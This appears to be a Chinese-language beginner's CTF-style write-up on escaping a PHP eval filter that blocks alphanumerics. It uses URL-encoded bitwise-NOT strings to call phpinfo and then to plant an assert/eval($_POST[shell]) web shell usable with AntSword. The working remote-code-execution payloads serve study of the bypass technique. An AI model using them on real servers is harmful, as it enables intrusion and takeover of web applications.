已知
对于以下代码:
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
如果要绕过正则RCE,我们可以采用url取反绕过,如:
?code=(~%8F%97%8F%96%91%99%90)();
# %8F%97%8F%96%91%99%90 : phpinfo
-
这里还利用了一点是:对于PHP,形如
(func_name)()
,其中func_name可以是字符串,会执行这个func -
这里相当于执行了:
phpinfo()
问题1
那么疑问来了,为什么不能直接执行 phpinfo()
呢?尝试一下
?code=(~%8F%97%8F%96%91%99%90%D7%D6);
# %8F%97%8F%96%91%99%90%D7%D6 : phpinfo()
可以看到没有任何结果,理一下思路:
eval("(~%8F%97%8F%96%91%99%90%D7%D6);")
- 当
(~%8F%97%8F%96%91%99%90%D7%D6);
被当作代码执行时的第一步就是取反操作~
- 但是取反得到的字符串
phpinfo()
并不会被当作代码执行,因为在取反之前PHP解释器并不知道这原来是phpinfo()
结论1
对于已知过滤条件,想要执行我们指定的代码,必须有 (func_name)()
这样的形式
问题2
那么想用蚁剑这样的工具的话,需要让其执行我们POST提交的数据,由问题1可以知道,若构造:
?code=(~%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2);
# %DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2 : $_POST[shell]
这样是不能得到执行结果的
以(func_name)()
这样的形式,去执行 ("assert")("$_POST[shell]")
构造payload:
?code=(~%9E%8C%8C%9A%8D%8B)(~%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2);
# %9E%8C%8C%9A%8D%8B : assert
# %DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2 : $_POST[shell]
为什么执行不成功呢,同样,我们理一下思路:
- 第一层eval:首先
(~%9E%8C%8C%9A%8D%8B)(~%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2);
先会执行取反函数,得到("assert")("$_POST[shell]")
- 第二层assert:注意第二个括号里其实还是字符串,并不是真正的
$_POST[shell]
代码。PHP在解释的时候会找到名为assert的函数,assert会把$_POST[shell]
变成真正的PHP代码。也就是说现在可以传参过来了,但是却没有执行。
那么要想要执行 $_POST[shell]
,还要在在前面追加一个 eval
:
?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6);
# %9E%8C%8C%9A%8D%8B : assert
# %9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6 : eval($_POST[shell])
执行过程:
- 第一层eval:首先
(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6);
先会执行取反函数,得到("assert")("eval($_POST[shell])")
- 第二层assert:将字符串
"eval($_POST[shell])"
看作php代码执行 - 第三层eval:将
$_POST[shell]
传来的数据看作代码执行
入门安全,感谢大家指正不足。